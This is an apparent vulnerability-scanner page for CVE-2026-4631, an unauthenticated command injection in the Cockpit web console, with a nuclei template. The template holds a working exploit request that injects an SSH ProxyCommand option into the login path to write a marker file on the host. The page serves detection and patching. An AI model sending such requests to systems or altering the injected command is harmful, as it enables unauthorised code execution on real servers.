CVE-2026-4631· cockpit-project / cockpit· CWE-78
Cockpit Web Console < 360 - Remote Code Execution
Cockpit's remote login feature passes user-supplied hostnames and usernames from the web interface to the SSH client without validation or sanitization. An attacker with network access to the Cockpit web service can craft a single HTTP request to the login endpoint that injects malicious SSH options or shell commands, achieving code execution on the Cockpit host without valid credentials. The injection occurs during the authentication flow before any credential verification takes place, meaning no login is required to exploit the vulnerability.
Impact
Attackers can execute arbitrary code on the Cockpit host without valid credentials, leading to full system compromise.
Fix
Update to the latest version with input validation and sanitization for SSH parameters.
How to confirm it
Send: GET /cockpit+=-oProxyCommand=echo%20CVE-2026-4631%20%3E%20%2Fusr%2Fshare%2Fcockpit%2Fstatic%2F{{filename}}.txt%20%23/login
Positive when: status_code == 401 and contains(body, "authentication-failed")
Send: GET /cockpit/static/{{filename}}.txt
Positive when: status_code == 200 and contains(body, "CVE-2026-4631")Run it with nuclei: nuclei -id CVE-2026-4631 -u <target>
The full check
id: CVE-2026-4631
info:
name: Cockpit Web Console < 360 - Remote Code Execution
author: DhiyaneshDk
severity: critical
description: |
Cockpit's remote login feature passes user-supplied hostnames and usernames from the web interface to the SSH client without validation or sanitization. An attacker with network access to the Cockpit web service can craft a single HTTP request to the login endpoint that injects malicious SSH options or shell commands, achieving code execution on the Cockpit host without valid credentials. The injection occurs during the authentication flow before any credential verification takes place, meaning no login is required to exploit the vulnerability.
impact: |
Attackers can execute arbitrary code on the Cockpit host without valid credentials, leading to full system compromise.
remediation: Update to the latest version with input validation and sanitization for SSH parameters.
reference:
- https://github.com/cockpit-project/cockpit/security/advisories/GHSA-m4gv-x78h-3427
- https://github.com/cockpit-project/cockpit/commit/9d0695647
- https://github.com/allisonkarlitskaya/ferny/commit/44ec511c99
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-4631
epss-score: 0.1548
epss-percentile: 0.96831
cwe-id: CWE-78
cpe: cpe:2.3:a:cockpit-project:cockpit:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: cockpit-project
product: cockpit
shodan-query: title:"Cockpit"
fofa-query: title="Cockpit"
tags: cve,cve2026,cockpit,rce,unauthenticated,vkev
flow: http(1) && http(2)
variables:
filename: "{{to_lower(rand_text_alpha(5))}}"
http:
- raw:
- |
GET /cockpit+=-oProxyCommand=echo%20CVE-2026-4631%20%3E%20%2Fusr%2Fshare%2Fcockpit%2Fstatic%2F{{filename}}.txt%20%23/login HTTP/1.1
Host: {{Hostname}}
Authorization: Basic Og==
matchers:
- type: dsl
dsl:
- 'status_code == 401'
- 'contains(body, "authentication-failed")'
condition: and
internal: true
- raw:
- |
GET /cockpit/static/{{filename}}.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "CVE-2026-4631")'
condition: andReferences
- https://github.com/cockpit-project/cockpit/security/advisories/GHSA-m4gv-x78h-3427
- https://github.com/cockpit-project/cockpit/commit/9d0695647
- https://github.com/allisonkarlitskaya/ferny/commit/44ec511c99
Use this check only on systems you are authorised to test. Where the data comes from